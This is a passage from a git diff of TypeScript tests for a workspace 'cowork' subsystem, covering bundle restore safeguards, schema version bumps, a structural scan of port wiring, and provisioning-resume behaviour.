"utf8")).toBe("theirs"); +}); + +test("the workspace folder is judged again inside the held section", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + f.checkpoints.push(phase => { if (phase === "staged") require("node:fs").chmodSync(f.dir, 0o755); }); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "recovery_required"); + expect(f.identityCalls()).toBe(0); +}); + +test("a restore is not an un-archive and not an import: an archived workspace restores in place, and an exported-then-deleted record cannot be resurrected", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + f.db.db.run("UPDATE cowork_workspaces SET state='archived' WHERE workspace_id=?", [f.workspaceId]); + await f.restorer().restore(restoreInput(exported.path)); + expect(f.repo.get(f.workspaceId).state).toBe("archived"); // restore leaves the lifecycle state alone + const g = await fixture(); const ex = await g.exportOnce("b"); + g.db.db.run("DELETE FROM cowork_export_output_ids"); g.db.db.run("DELETE FROM cowork_exports WHERE workspace_id=?", [g.workspaceId]); + await failsWith(g.restorer().restore(restoreInput(ex.path)), "generation_unknown"); +}); + +test("a live image that is a link, a workspace folder with loose permissions, and a bundle image with loose permissions", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + const real = f.image("data"); const kept = join(f.base, "kept.img"); cpSync(real, kept); unlinkSync(real); symlinkSync(kept, real); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "restore_conflict"); + expect(lstatSync(real).isSymbolicLink()).toBe(true); expect(f.confirmations).toHaveLength(0); + const g = await fixture(); const ex = await g.exportOnce("b"); + require("node:fs").chmodSync(g.dir, 0o755); + await failsWith(g.restorer().restore(restoreInput(ex.path)), "recovery_required"); + const h = await fixture(); const eh = await h.exportOnce("c"); + for (const image of ["data.ext4", "env.ext4"]) require("node:fs").chmodSync(join(eh.path, image), 0o644); + await h.restorer().restore(restoreInput(eh.path)); + expect(statSync(h.image("data")).mode & 0o777).toBe(0o600); expect(statSync(h.image("environment")).mode & 0o777).toBe(0o600); + h.volumes.claim(h.request); // and the volume layer, which requires 0600, accepts them +}); + +test("the restore reads the bundle only: it creates and removes nothing inside it", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + const listing = () => readdirSync(exported.path, { recursive: true }).map(String).sort(); + const before = listing(); const verified = await verifyBundle(exported.path); verified.close(); + await f.restorer().restore(restoreInput(exported.path)); + expect(listing()).toEqual(before); expect(existsSync(join(exported.path, "data.ext4"))).toBe(true); +}); diff --git a/packages/core/test/cowork/session-binding-schema.test.ts b/packages/core/test/cowork/session-binding-schema.test.ts index 15364a08e..4eb58f1a4 100644 --- a/packages/core/test/cowork/session-binding-schema.test.ts +++ b/packages/core/test/cowork/session-binding-schema.test.ts @@ -23,7 +23,7 @@ const userVersion = (home: string) => { const raw = new Database(rawPath(home), const columns = (db: Database) => db.query<{ name: string; notnull: number; dflt_value: string | null }, []>("PRAGMA table_info(cowork_conversations)").all(); const tableSql = (db: Database) => db.query<{ sql: string }, []>("SELECT sql FROM sqlite_master WHERE type='table' AND name='cowork_conversations'").get()!.sql; -const V18_COLUMNS = ["session_id", "workspace_id", "project_id", "location_kind", "source_id", "relative_cwd", "policy", "restrictions_json", "revision", "state", "created_at", "backend_session_id"]; +const V18_COLUMNS = ["session_id", "workspace_id", "project_id", "location_kind", "source_id", "relative_cwd", "policy", "restrictions_json", "revision", "state", "created_at", "backend_session_id", "runtime_uid", "tool_uid", "store_state", "last_incarnation_id"]; // + v21 (#92) /** The table exactly as v8 created it and v17 left it. */ const V17_TABLE = `CREATE TABLE cowork_conversations ( session_id TEXT PRIMARY KEY, workspace_id TEXT NOT NULL REFERENCES cowork_workspaces(workspace_id), @@ -58,9 +58,9 @@ function rewindToV17(db: RuntimeStateDb): void { } test("schema 18 is current, and a fresh store has the binding columns in order with their defaults", () => { - expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(19); + expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(21); const db = openDb(tempHome()); - expect(db.schemaVersion()).toBe(19); + expect(db.schemaVersion()).toBe(21); expect(columns(db.db).map(column => column.name)).toEqual(V18_COLUMNS); const byName = Object.fromEntries(columns(db.db).map(column => [column.name, column])); expect(byName.location_kind).toMatchObject({ notnull: 1, dflt_value: "'source'" }); @@ -116,7 +116,7 @@ test("a v17 store upgrades in place: rows, their dependents and the index surviv expect(userVersion(home)).toBe(17); const second = openDb(home); - expect(second.schemaVersion()).toBe(19); + expect(second.schemaVersion()).toBe(21); expect(columns(second.db).map(column => column.name)).toEqual(V18_COLUMNS); expect(second.db.query("SELECT session_id,workspace_id,project_id,source_id,relative_cwd,policy,restrictions_json,revision,state,created_at FROM cowork_conversations").all()).toEqual(before); expect(second.db.query("SELECT location_kind, backend_session_id FROM cowork_conversations").all()).toEqual([{ location_kind: "source", backend_session_id: null }]); @@ -151,7 +151,7 @@ test("the rebuild keeps EVERY v17 constraint, judged against the v17 text itself const upgradedHome = tempHome(), first = openDb(upgradedHome), upgradedFixture = bound(first, "s_upgraded"); rewindToV17(first); first.close(); const upgraded = openDb(upgradedHome); - expect(upgraded.schemaVersion()).toBe(19); + expect(upgraded.schemaVersion()).toBe(21); for (const [label, db, { workspaceId, sourceId }] of [["fresh", fresh, freshFixture], ["upgraded", upgraded, upgradedFixture]] as const) { expect([label, foreignKeys(db.db)]).toEqual([label, v17Keys]); const sql = tableSql(db.db).replace(/\s+/g, " "); @@ -178,26 +178,26 @@ test("idempotent: rewinding user_version to 17 and reopening, or calling the mig expect({ sql: tableSql(first.db), rows: first.db.query("SELECT * FROM cowork_conversations").all() }).toEqual(before); first.db.run("PRAGMA user_version=17"); first.close(); const second = openDb(home); - expect(second.schemaVersion()).toBe(19); + expect(second.schemaVersion()).toBe(21); expect({ sql: tableSql(second.db), rows: second.db.query("SELECT * FROM cowork_conversations").all() }).toEqual(before); }); test("the downgrade ladder: an empty current store rolls back to 7 and to 6 and upgrades again; a bound conversation refuses both", () => { const empty = tempHome(); openDb(empty).close(); - expect(userVersion(empty)).toBe(19); - expect(downgradeCoworkRuntimeStateToV7(empty)).toEqual({ from: 19, to: 7 }); - let db = openDb(empty); expect(db.schemaVersion()).toBe(19); expect(columns(db.db).map(column => column.name)).toEqual(V18_COLUMNS); db.close(); - expect(downgradeRuntimeStateToV6(empty)).toEqual({ from: 19, to: 6 }); - db = openDb(empty); expect(db.schemaVersion()).toBe(19); db.close(); + expect(userVersion(empty)).toBe(21); + expect(downgradeCoworkRuntimeStateToV7(empty)).toEqual({ from: 21, to: 7 }); + let db = openDb(empty); expect(db.schemaVersion()).toBe(21); expect(columns(db.db).map(column => column.name)).toEqual(V18_COLUMNS); db.close(); + expect(downgradeRuntimeStateToV6(empty)).toEqual({ from: 21, to: 6 }); + db = openDb(empty); expect(db.schemaVersion()).toBe(21); db.close(); const populated = tempHome(), withRow = openDb(populated); bound(withRow); withRow.close(); expect(() => downgradeCoworkRuntimeStateToV7(populated)).toThrow("Cowork authority"); expect(() => downgradeRuntimeStateToV6(populated)).toThrow("Cowork authority"); - expect(userVersion(populated)).toBe(19); + expect(userVersion(populated)).toBe(21); const newer = tempHome(); openDb(newer).close(); - const raw = new Database(rawPath(newer)); raw.run("PRAGMA user_version=20"); raw.close(); + const raw = new Database(rawPath(newer)); raw.run("PRAGMA user_version=22"); raw.close(); expect(() => downgradeCoworkRuntimeStateToV7(newer)).toThrow("newer-schema"); expect(() => downgradeRuntimeStateToV6(newer)).toThrow("newer-schema"); }); @@ -239,7 +239,7 @@ test("cowork_home_binding is Cowork authority: listed before the identity it ref const raw = new Database(rawPath(populated), { readonly: true }); try { expect(raw.query("SELECT count(*) AS n FROM cowork_home_binding").get()).toEqual({ n: 1 }); } finally { raw.close(); } const empty = tempHome(); openDb(empty).close(); - expect(downgradeCoworkRuntimeStateToV7(empty)).toEqual({ from: 19, to: 7 }); + expect(downgradeCoworkRuntimeStateToV7(empty)).toEqual({ from: 21, to: 7 }); const rolled = new Database(rawPath(empty), { readonly: true }); try { expect(rolled.query("SELECT name FROM sqlite_master WHERE name='cowork_home_binding'").get()).toBeNull(); } finally { rolled.close(); } const again = openDb(empty); expect(bindingColumns(again.db).map(column => column.name)).toEqual(BINDING_COLUMNS); @@ -251,7 +251,7 @@ test("a v17 store gains the table on upgrade, and a recorded binding survives a expect(first.db.query("SELECT name FROM sqlite_master WHERE name='cowork_home_binding'").get()).toBeNull(); first.close(); const second = openDb(home); - expect(second.schemaVersion()).toBe(19); + expect(second.schemaVersion()).toBe(21); expect(bindingColumns(second.db).map(column => column.name)).toEqual(BINDING_COLUMNS); insertBinding(second.db, new CoworkRepository(second).homeIdentity()); const before = second.db.query("SELECT * FROM cowork_home_binding").all(); diff --git a/packages/core/test/cowork/session-door-fixture.ts b/packages/core/test/cowork/session-door-fixture.ts index aa3aead13..b5fc8ea47 100644 --- a/packages/core/test/cowork/session-door-fixture.ts +++ b/packages/core/test/cowork/session-door-fixture.ts @@ -38,7 +38,7 @@ export interface DoorFixture { close(): void; } -export function doorFixture(opts: { policy?: ApprovalPolicy; toolClasses?: string[]; access?: SourceAccess; relativeCwd?: string; sessions?: readonly string[]; network?: "none" | "internet"; location?: "source" | "outputs" } = {}): DoorFixture { +export function doorFixture(opts: { policy?: ApprovalPolicy; toolClasses?: string[]; access?: SourceAccess; relativeCwd?: string; sessions?: readonly string[]; network?: "none" | "internet"; location?: "source" | "outputs"; ack?: boolean } = {}): DoorFixture { const home = mkdtempSync(join(tmpdir(), "winter-door-d3-")); const db = openRuntimeStateDb(home), records = new CoworkRepository(db), access = opts.access ?? "read-write"; const created = records.create({ principalId: "fixture", requestId: "create" }, { ownership: "project", title: "fixture", defaultPolicy: opts.policy ?? "ask", @@ -65,7 +65,7 @@ export function doorFixture(opts: { policy?: ApprovalPolicy; toolClasses?: strin begin(incarnationId = "incarnation") { const epoch = records.beginIncarnation(workspaceId, incarnationId, records.get(workspaceId).configRevision); // An outputs fixture never acknowledges its source: nothing in N2 can. - if (!outputs) records.acknowledgeSource(epoch, source.sourceId, records.source(workspaceId, source.sourceId).revision, "ready"); + if (!outputs && opts.ack !== false) records.acknowledgeSource(epoch, source.sourceId, records.source(workspaceId, source.sourceId).revision, "ready"); return { workspaceId, incarnationId, leaseEpoch: epoch.leaseEpoch, guestBootId: FIXTURE_BOOT_ID }; }, power, diff --git a/packages/core/test/cowork/session-door-ipc.test.ts b/packages/core/test/cowork/session-door-ipc.test.ts index 68df803bc..f5e306593 100644 --- a/packages/core/test/cowork/session-door-ipc.test.ts +++ b/packages/core/test/cowork/session-door-ipc.test.ts @@ -2,7 +2,10 @@ // interrupt reach the door's drivers (and compaction refuses typed); without one nothing changes and the drivers are never // asked. `session.list` carries the row's workspace reference from the host binding; remote never sees or reaches the row. // Also: provisioning admission through S7B's port when a host supplies it, and truthful capabilities. No guest boots here. -import { afterEach, expect, test } from "bun:test"; +import { setDefaultTimeout, afterEach, expect, test } from "bun:test"; + +// Whole-repo source scans (AST/regex over every package): a loaded CI runner can pass bun's 5 s default, so these files get 30 s. +setDefaultTimeout(30_000); import { mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; @@ -11,7 +14,8 @@ import { FileSecretStore } from "../../src/auth/secret-store"; import { TokenAuthority } from "../../src/auth/tokens"; import { startIpcServer } from "../../src/ipc/server"; import { CoworkRepository } from "../../src/cowork/repository"; -import { CoworkWorkspaceService, type CoworkHostPorts } from "../../src/cowork/service"; +import { CoworkWorkspaceService, COWORK_PROVISION_CONCURRENCY, COWORK_PROVISION_PAGE, disabledCoworkHost, type CoworkHostPorts } from "../../src/cowork/service"; +import { createMacCoworkHost } from "../../src/cowork/mac-host"; import type { CoworkLegSession, CoworkProvisioningPort, CoworkSessionDoor, CoworkSessionDrivers } from "../../src/cowork/session-ports"; import { CoworkError } from "../../src/cowork/types"; import { openRuntimeStateDb, type RuntimeStateDb } from "../../src/runtime-state/db"; @@ -197,18 +201,66 @@ test("a Cowork row whose reference cannot be read lists without it, and the list } finally { CoworkRepository.prototype.conversationRef = original; } }); -test("pins: no src module supplies a host's provisioning or execution port (the composition that does is the D6 flip)", () => { +/** Every place a src module NAMES `provisioning` or `execution` as a property it writes, in any syntax the parser knows: + * an assignment (`provisioning: x`), a shorthand (`{ provisioning }`), a method or accessor (`execution() {}`), a class + * field, an interface member, an assignment through a property access (`host.provisioning = x`), and any string literal or + * template that is exactly the name (computed keys, `Reflect.set`, `defineProperty`). Reads (`this.host.provisioning`) are not writes. */ +function portNameWrites(names: readonly string[] = ["provisioning", "execution"]): string[] { const { readdirSync, readFileSync, statSync } = require("node:fs") as typeof import("node:fs"); + const ts = require("typescript") as typeof import("typescript"); const packages = join(import.meta.dir, "..", "..", ".."); - const files = readdirSync(packages).flatMap(name => { const src = join(packages, name, "src"); try { return statSync(src).isDirectory() ? readdirSync(src, { recursive: true }).map(String).map(file => join(src, file)).filter(file => /\.(ts|tsx|js|mjs)$/.test(file)) : []; } catch { return []; } }); + const files = readdirSync(packages).flatMap(name => { const src = join(packages, name, "src"); try { return statSync(src).isDirectory() ? readdirSync(src, { recursive: true }).map(String).map(file => join(src, file)).filter(file => /\.(ts|tsx|js|mjs|cjs)$/.test(file)) : []; } catch { return []; } }); expect(files.length).toBeGreaterThan(100); - const code = (file: string) => readFileSync(file, "utf8").replace(/\/\*[\s\S]*?\*\//g, "").replace(/(^|[^:])\/\/[^\n]*/g, "$1"); - const naming = (pattern: RegExp) => files.filter(file => pattern.test(code(file))).map(file => file.slice(packages.length + 1)).sort(); - // Declared and read in service.ts; the protocol names the wire field. Nothing else writes either port. - expect(naming(/\bprovisioning\s*\??:/)).toEqual([join("core", "src", "cowork", "service.ts"), join("protocol", "src", "cowork.ts")]); - expect(naming(/\bexecution\s*\??:\s*\(/)).toEqual([join("core", "src", "cowork", "service.ts")]); + const NAMES = new Set(names), found: string[] = []; + for (const file of files) { + const visit = (node: import("typescript").Node): void => { + const named = (ts.isIdentifier(node) || ts.isPrivateIdentifier(node) || ts.isStringLiteralLike(node) || ts.isTemplateHead(node) || ts.isTemplateMiddle(node) || ts.isTemplateTail(node)) && NAMES.has(node.text.replace(/^#/, "")); + if (named) { + const parent = node.parent; + const read = ts.isPropertyAccessExpression(parent) && parent.name === node + && !(ts.isBinaryExpression(parent.parent) && parent.parent.left === parent && parent.parent.operatorToken.kind >= ts.SyntaxKind.FirstAssignment && parent.parent.operatorToken.kind <= ts.SyntaxKind.LastAssignment); + if (!read) found.push(`${file.slice(packages.length + 1).split(/[\\/]/).join("/")} ${ts.SyntaxKind[parent.kind]} ${parent.getText().replace(/\s+/g, " ").slice(0, 60)}`); + } + ts.forEachChild(node, visit); + }; + visit(ts.createSourceFile(file, readFileSync(file, "utf8"), ts.ScriptTarget.Latest, true)); + } + return found.sort(); +} + +test("pins (structural): no src module supplies a host's execution port, and the one place that supplies provisioning is the daemon, behind an injected environment (production has none)", () => { + // Declared in service.ts's host interface, reported in its capabilities, typed on the wire; the schedule status's own + // `execution` field is a different value. Any other write of either name, in any syntax, fails here. + expect(portNameWrites()).toEqual([ + // S7B (part 3): the daemon composes the provisioning port ONLY where an environment was injected (`coworkNativePort`, undefined in production: the activation seam + // answers undefined), and only when the host has none. The behavioural pin below and native/anti-wiring's seam pin cover the other half. + "core/src/daemon.ts PropertyAssignment provisioning: coworkProvisioning", + "core/src/cowork/schedules.ts PropertyAssignment execution: \"unavailable\" as const", + "core/src/cowork/service.ts PropertyAssignment execution: this.host.execution?.() === true", + "core/src/cowork/service.ts PropertyAssignment provisioning: this.host.provisioning?.available() === true", + "core/src/cowork/service.ts PropertySignature execution?: () => boolean;", + "core/src/cowork/service.ts PropertySignature provisioning?: CoworkProvisioningPort;", + "protocol/src/cowork.ts PropertyAssignment execution: z.boolean()", + "protocol/src/cowork.ts PropertyAssignment execution: z.literal(\"unavailable\")", + "protocol/src/cowork.ts PropertyAssignment provisioning: z.boolean()", + ].sort()); // The approvals adapter is defined in the door module and called by no src module (only a door composition will). - expect(naming(/(? { const src = join(packages, name, "src"); try { return statSync(src).isDirectory() ? readdirSync(src, { recursive: true }).map(String).map(file => join(src, file)).filter(file => /\.(ts|tsx|js|mjs)$/.test(file)) : []; } catch { return []; } }); + const code = (file: string) => readFileSync(file, "utf8").replace(/\/\*[\s\S]*?\*\//g, "").replace(/(^|[^:])\/\/[^\n]*/g, "$1"); + expect(files.filter(file => /(? { + const home = mkdtempSync(join(tmpdir(), "winter-door-prod-")), db = openRuntimeStateDb(home); + cleanups.push(() => { db.close(); rmSync(home, { recursive: true, force: true }); }); + // daemon.ts: `opts.coworkHost ?? createMacCoworkHost(winterHome, undefined, runtime.db, coworkNativePort)`, plus `native`. + const native = { start: async () => undefined }; + for (const host of [disabledCoworkHost, createMacCoworkHost(home, undefined, db), createMacCoworkHost(home, undefined, db, native), { ...createMacCoworkHost(home, undefined, db), native }]) { + expect(["provisioning" in host, "execution" in host]).toEqual([false, false]); + expect(new CoworkWorkspaceService(new CoworkRepository(db), host).call(HARNESS, "workspace.capabilities.get", {})).toMatchObject({ provisioning: false, execution: false }); + } }); // ------------------------------------------------------------------------------------------------ D4c: provision after COMMIT @@ -282,7 +334,7 @@ test("D4c: without the port nothing is provisioned and resumeProvisioning does n expect(records.pendingCreations()).toEqual([]); const ported = service({ provisioning: { available: () => true, admit: () => {}, provision: async () => ({ status: "applied" }) } }); const receipt = create(ported.svc, "x"); - expect(ported.records.pendingCreations()).toEqual([{ workspaceId: receipt.workspaceId, operationId: receipt.operationId }]); + expect(ported.records.pendingCreations()).toMatchObject([{ workspaceId: receipt.workspaceId, operationId: receipt.operationId }]); }); test("D4c: a replay alone re-drives an uncertain creation; a concluded one leaves the pending list; only a creation can fail this way", async () => { @@ -290,7 +342,7 @@ test("D4c: a replay alone re-drives an uncertain creation; a concluded one leave const p = provisioned(async () => { if (first) { first = false; throw new Error("uncertain"); } return { status: "failed" }; }); const receipt = create(p.svc, "one"); await settle(); - expect(p.records.pendingCreations()).toEqual([{ workspaceId: receipt.workspaceId, operationId: receipt.operationId }]); + expect(p.records.pendingCreations()).toMatchObject([{ workspaceId: receipt.workspaceId, operationId: receipt.operationId }]); create(p.svc, "one"); await settle(); expect(p.calls.length).toBe(2); expect(p.status(receipt.workspaceId, receipt.operationId)).toBe("failed"); @@ -299,3 +351,126 @@ test("D4c: a replay alone re-drives an uncertain creation; a concluded one leave const update = p.svc.call(HARNESS, "workspace.update", { workspaceId: receipt.workspaceId, requestId: "rename", expectedRevision: 1, title: "renamed" }); expect(() => p.records.failCreationProvisioning(receipt.workspaceId, update.operationId)).toThrow("not_found"); }); + +// ------------------------------------------------------------------------------------------------ D4 review fixes +test("D4b fix: a source addition goes through the port's admit when present, refusing while unavailable", () => { + let available = false, admitted = 0; + const provisioning: CoworkProvisioningPort = { available: () => available, admit: () => { admitted++; if (!available) throw new CoworkError("unsupported_topology"); }, provision: async () => ({ status: "applied" }) }; + const { svc, records } = service({ provisioning }); + available = true; + const receipt = create(svc, "made"); + available = false; admitted = 0; + const add = (requestId: string) => svc.call(HARNESS, "workspace.source.addFolder", { workspaceId: receipt.workspaceId, requestId, expectedRevision: records.get(receipt.workspaceId).configRevision, selectionId: "folder-choice" }); + expect(() => add("refused")).toThrow("unsupported_topology"); + expect([admitted, records.sources(receipt.workspaceId).length]).toEqual([1, 1]); + available = true; + expect(add("admitted").value.sourceId).toBeTruthy(); + expect([admitted, records.sources(receipt.workspaceId).length]).toEqual([2, 2]); +}); + +test("D4b fix: a live driver's steer refusal reaches the client typed; an unknown session never routes to the door", async () => { + const calls: string[] = []; + const session = { async steer() { calls.push("steer"); throw new CoworkError("stale_acknowledgment"); } } as unknown as CoworkLegSession; + const drivers: CoworkSessionDrivers = { + get: id => { calls.push(`get:${id}`); return session; }, ensure: async id => { calls.push(`ensure:${id}`); return session; }, + runTurn: async () => { throw new Error("unused"); }, evict: async () => {}, list: () => [], beginShutdown: async () => {}, + }; + const b = await boot(door(drivers)); + expect((await b.harness.request(METHODS.sessionSteer, { sessionId: b.coworkId, text: "more" })).error.data).toEqual({ code: "stale_acknowledgment" }); + expect(calls).toEqual([`get:${b.coworkId}`, "steer"]); + calls.length = 0; + for (const method of [METHODS.sessionSend, METHODS.sessionSteer, METHODS.sessionInterrupt, METHODS.sessionCompact]) { + expect((await b.harness.request(method, { sessionId: "s_ffffffffffff", text: "x" })).error?.data?.code).not.toBe("stale_acknowledgment"); + } + expect(calls).toEqual([]); +}); + +test("D4c fix: a creation concluded failed is terminal for execution: no reservation, no bind, no boot", async () => { + const p = provisioned(async () => ({ status: "failed" })); + const receipt = create(p.svc, "one"); + await settle(); + expect(p.status(receipt.workspaceId, receipt.operationId)).toBe("failed"); + const sourceId = p.records.sources(receipt.workspaceId)[0]!.sourceId; + expect(() => p.records.reserveConversation({ principalId: "local", workspaceId: receipt.workspaceId, requestId: "r", scope: "t", requestDigest: "a".repeat(64) }, () => false)).toThrow("recovery_required"); + const committed = { hasCommittedSession: () => true }; + const context = () => ({ principalId: "local", requestId: "bind", expectedRevision: p.records.get(receipt.workspaceId).configRevision }); + expect(() => p.records.bindConversation(context(), receipt.workspaceId, { sessionId: "s_0123456789ab", sourceId }, committed)).toThrow("recovery_required"); + expect(() => p.records.bindOutputsConversation(context(), receipt.workspaceId, { sessionId: "s_0123456789ab" }, committed)).toThrow("recovery_required"); + expect(() => p.records.beginIncarnation(receipt.workspaceId, "incarnation-1", p.records.get(receipt.workspaceId).configRevision)).toThrow("recovery_required"); + expect(p.records.rs.db.query("SELECT COUNT(*) AS n FROM cowork_conversations").get()).toEqual({ n: 0 }); + // An applied creation of another workspace is unaffected. + const fine = service({ provisioning: { available: () => true, admit: () => {}, provision: async () => ({ status: "applied" }) } }); + const ok = create(fine.svc, "ok"); await settle(); + expect(fine.records.reserveConversation({ principalId: "local", workspaceId: ok.workspaceId, requestId: "r", scope: "t", requestDigest: "a".repeat(64) }, () => false).state).toBe("pending"); +}); + +test("D4c fix: a late `failed` for a workspace a guest has started stays pending (uncertain); only a never-booted workspace fails", () => { + const { records } = service(); + const made = (requestId: string) => records.create({ principalId: "fixture", requestId }, { ownership: "project", title: "t", ceiling: CEILING, sources: [FOLDER] }); + const receipt = made("booted"); // created directly: nothing drives it, the operation stays pending + records.beginIncarnation(receipt.workspaceId, "incarnation-1", records.get(receipt.workspaceId).configRevision); + records.failCreationProvisioning(receipt.workspaceId, receipt.operationId); + expect(records.operation(receipt.workspaceId, receipt.operationId).status).toBe("pending"); + const never = made("never"); + records.failCreationProvisioning(never.workspaceId, never.operationId); + expect(records.operation(never.workspaceId, never.operationId).status).toBe("failed"); +}); + +test("D4c fix: resume drives EVERY pending creation once per boot, oldest first, in keyset pages, at most COWORK_PROVISION_CONCURRENCY at a time", async () => { + const home = mkdtempSync(join(tmpdir(), "winter-door-d4c-bound-")), db = openRuntimeStateDb(home); + cleanups.push(() => { db.close(); rmSync(home, { recursive: true, force: true }); }); + let clock = 0; + const records = new CoworkRepository(db, () => new Date(Date.UTC(2026, 0, 1) + clock++ * 1000).toISOString()); + const total = COWORK_PROVISION_PAGE + 6, made: string[] = []; + for (let i = 0; i < total; i++) made.push(records.create({ principalId: "fixture", requestId: `create-${i}` }, { ownership: "project", title: "t", ceiling: CEILING, sources: [FOLDER] }).operationId); + let inFlight = 0, most = 0; + const order: string[] = []; + const port = (): CoworkProvisioningPort => ({ + available: () => true, admit: () => {}, + provision: async (_workspaceId, operationId) => { order.push(operationId); inFlight++; most = Math.max(most, inFlight); await Bun.sleep(1); inFlight--; return { status: "applied" }; }, + }); + const host: CoworkHostPorts = { ...disabledCoworkHost, provisioning: port() }; + const svc = new CoworkWorkspaceService(records, host); + const first = svc.resumeProvisioning(); + expect(svc.resumeProvisioning()).toBe(first); // one resume at a time + await first; + expect(order).toEqual(made); + expect(most).toBe(COWORK_PROVISION_CONCURRENCY); + // Every one answered `applied` in this process: waiting on its guest, so a second resume drives nothing. + await svc.resumeProvisioning(); + expect(order.length).toBe(total); + // A new boot (a new service over the same records) drives every still-pending creation once more. + order.length = 0; most = 0; + await new CoworkWorkspaceService(records, { ...disabledCoworkHost, provisioning: port() }).resumeProvisioning(); + expect([order.length, most]).toEqual([total, COWORK_PROVISION_CONCURRENCY]); +}); + +test("D4c fix: resumeProvisioning never rejects, even when reading the pending list throws synchronously", async () => { + const p = provisioned(async () => ({ status: "applied" })); + const original = p.records.pendingCreations.bind(p.records); + (p.records as unknown as { pendingCreations: unknown }).pendingCreations = () => { throw new Error("SQLITE_BUSY stand-in"); }; + await p.svc.resumeProvisioning(); + (p.records as unknown as { pendingCreations: unknown }).pendingCreations = original; + const operation = p.records.operation.bind(p.records); + create(p.svc, "one"); await settle(); + (p.records as unknown as { operation: unknown }).operation = () => { throw new Error("SQLITE_BUSY stand-in"); }; + const fresh = new CoworkWorkspaceService(p.records, { ...disabledCoworkHost, provisioning: { available: () => true, admit: () => {}, provision: async () => ({ status: "applied" }) } }); + await fresh.resumeProvisioning(); + (p.records as unknown as { operation: unknown }).operation = operation; +}); + +test("pins (structural): no src module supplies the N3 cold-resume or the N4 held-input gate (resume waits for the owner patch)", () => { + // Declared on the driver's deps (and the leg session's verbs); the only value written is the driver's own gated verbs. + // A composition that supplied either gate would add a line here: that is the D6 flip, and for cold resume only after the + // owner applies the cold-resume owner patch (the unmodified native owner refuses a resume record). + expect(portNameWrites(["coldResume", "heldInput", "ownerPatchApplied"])).toEqual([ + "core/src/agent/session-messaging.ts PropertySignature readonly heldInput?: CoworkHeldInputVerbs;", + // b4: the gated composition seam NAMES the driver dep's type (a type reference, not a write); no production source imports it (peer-inbox-composition.test.ts pins that). + "core/src/cowork/peer-inbox-composition.ts LiteralType \"heldInput\"", + "core/src/cowork/session-driver.ts PropertyAssignment heldInput: coworkHeldInputVerbs(queryNow, () => handle.cowor", + "core/src/cowork/session-driver.ts PropertySignature readonly coldResume?: { readonly ownerPatchApplied: true };", + "core/src/cowork/session-driver.ts PropertySignature readonly heldInput?: { readonly enabled: true; /** Design ru", + "core/src/cowork/session-driver.ts PropertySignature readonly ownerPatchApplied: true", + "core/src/cowork/session-ports.ts PropertySignature readonly heldInput?: CoworkHeldInputVerbs;", + ]); +}); diff --git a/packages/core/test/cowork/session-door.test.ts b/packages/core/test/cowork/session-door.test.ts index e185d9eb6..a5f8385d6 100644 --- a/packages/core/test/cowork/session-door.test.ts +++ b/packages/core/test/cowork/session-door.test.ts @@ -3,7 +3,7 @@ // each step resumable; a retry never mints a second conversation; a definite bind refusal leaves nothing behind; the host's // schedule caller is authorized by reference identity and scoped to a dispatching occurrence. Nothing here boots a guest. import { afterEach, expect, test } from "bun:test"; -import { existsSync, mkdtempSync, readdirSync, readFileSync, rmSync, statSync } from "node:fs"; +import { existsSync, mkdtempSync, readdirSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, relative, sep } from "node:path"; import type { CoworkScheduleDefinition, SessionEvent } from "@yanlinglabs/winter-protocol"; @@ -35,7 +35,7 @@ const NATIVE: CoworkGuestStarter = { start: () => { throw new Error("create must const OFFER: CoworkGuestRuntimeOffer = { profile: "host-query-v1", readiness: ["guest-compartment"], runtimeCapability: { protocolVersion: 1, capabilities: [], supportsConfinedGuestExecution: true } }; const APPROVALS: CoworkApprovalPort = { canUseToolFor: () => { throw new Error("create must not build a bridge"); } }; -function world(opts: { ownership?: "standalone" | "project"; production?: boolean; ports?: Partial>; principal?: (connection: CoworkConnection) => CoworkPrincipal | undefined; schedules?: CoworkScheduleDispatchView; sources?: number } = {}) { +function world(opts: { ownership?: "standalone" | "project"; production?: boolean; ports?: Partial>; principal?: (connection: CoworkConnection) => CoworkPrincipal | undefined; schedules?: CoworkScheduleDispatchView; sources?: number; stale?: number } = {}) { const home = mkdtempSync(join(tmpdir(), "winter-door-d4-")), storeHome = mkdtempSync(join(tmpdir(), "winter-door-d4-store-")); const db: RuntimeStateDb = openRuntimeStateDb(home), records = new CoworkRepository(db), store = new SessionStore(storeHome), hub = new SessionHub(store); const made = records.create({ principalId: "fixture", requestId: "create" }, { ownership: opts.ownership ?? "project", title: "fixture", defaultPolicy: "ask", ceiling: CEILING, sources: Array.from({ length: opts.sources ?? 1 }, () => FOLDER) }); @@ -46,6 +46,7 @@ function world(opts: { ownership?: "standalone" | "project"; production?: boolea ...(opts.production ? {} : opts.ports ?? { route: standinRoute(), native: NATIVE, offer: OFFER, approvals: APPROVALS }), principal: connection => { principalCalls.push(connection); return (opts.principal ?? (() => LOCAL))(connection); }, ...(opts.schedules ? { schedules: opts.schedules } : {}), + ...(opts.stale === undefined ? {} : { staleReservationMs: opts.stale }), }; const door = createCoworkSessionDoor(deps); cleanups.push(() => { void door.drivers.beginShutdown(); store.close(); db.close(); rmSync(home, { recursive: true, force: true }); rmSync(storeHome, { recursive: true, force: true }); }); @@ -57,6 +58,7 @@ function world(opts: { ownership?: "standalone" | "project"; production?: boolea reservations: () => count("SELECT COUNT(*) AS n FROM cowork_session_reservations"), bindings: () => count("SELECT COUNT(*) AS n FROM cowork_conversations"), reservation: (sessionId: string) => db.db.query("SELECT principal_id,request_id,state,scope FROM cowork_session_reservations WHERE session_id=?").get(sessionId), + storeHome, rows: () => (store as unknown as { db: { query(sql: string): { all(): { session_id: string; mode: string | null; last_seq: number }[] } } }).db.query("SELECT session_id, mode, last_seq FROM sessions").all(), }; } @@ -344,10 +346,15 @@ test("the schedule caller's scope: only its own reference, a dispatching occurre [{ location: { kind: "source", sourceId: s.w.sourceId, relativeCwd: "docs" } }, "a cwd below the root"], [{ location: { kind: "source", sourceId: "source-other" } }, "another source"], [{ workspaceId: "w-other" }, "another workspace"], + [{ requestId: `x-schedule:${row.occurrenceId}` }, "a 